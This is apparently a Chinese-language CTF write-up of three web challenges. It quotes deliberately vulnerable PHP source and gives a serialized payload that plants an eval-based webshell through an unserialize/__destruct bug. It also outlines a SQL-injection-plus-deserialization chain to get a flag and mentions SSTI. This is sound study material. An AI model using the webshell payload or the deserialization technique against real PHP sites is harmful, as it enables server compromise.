singin
第一题直接给了源码
<?php
show_source(__FILE__);
$dir = './sandbox/'.md5($_SERVER['REMOTE_ADDR']);
echo $dir;
echo "<br>";
is_dir($dir) ?: mkdir($dir);
$line = $_GET['a'];
class B {
public $content;
public $filename;
function __destruct() {
if(strstr($this->filename,'..')){
die('No');
}else{
file_put_contents('./sandbox/'.md5($_SERVER['REMOTE_ADDR']).'/'.$this->filename, $this->content);
}
}
}
$a = @unserialize($line);
system('rm -rf '.$dir);
echo "unserialize yyds";
#./sandbox/1b5337d0c8ad813197b506146d8d503d
#unserialize yyds
看一下 class B
如果 … 在 filename 中 就不行
else 将会把 filename 和 content 写进 sandbox 里
反序列化过后 又执行了 rm -rf 把文件给删掉( 但反序列化已经执行过了
考虑payload 因为pdo 类无法被解析 导致报错 使反序列化终止 但仍然执行 __destruct
O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}
参考:
https://github.com/ambionics/phpggc
https://oatmeal.vip/ctf-wp/bytectffinalsignup/
upload
先看拿flag的方式
看到 common.php 中的 XCTFGG 类
class XCTFGG{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function login() {
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);
global $db;
$obj = $db->query($sql);
$obj = $obj->fetch_assoc();
global $FLAG;
if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}
function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args); // 这里就不得了了
}
}
应该是反序列化来调用 这个类
在 upload.php 中 找到了 反序列化的入口
所以说 貌似和上传没什么关系?
我们想要拿到 flag 就要
if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
}
而 obj
$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);
global $db;
$obj = $db->query($sql);
$obj = $obj->fetch_assoc();
而我们看到了数据库文件中
# INSERT INTO user VALUES ('XM', $db_pass, 'admin')
我们由于知道数据库结构 所以说注入是很方便的
我们唯一要知道的就是 $db_pass
只需要找到一个注入点即可
而 rename.php 显然提供给我们了这样一个机会
得到密码
qweqweqwe2333
所以直接注入后得到密码 然后 直接反序列化 拿到flag
ezpython
sql注入 加 ssti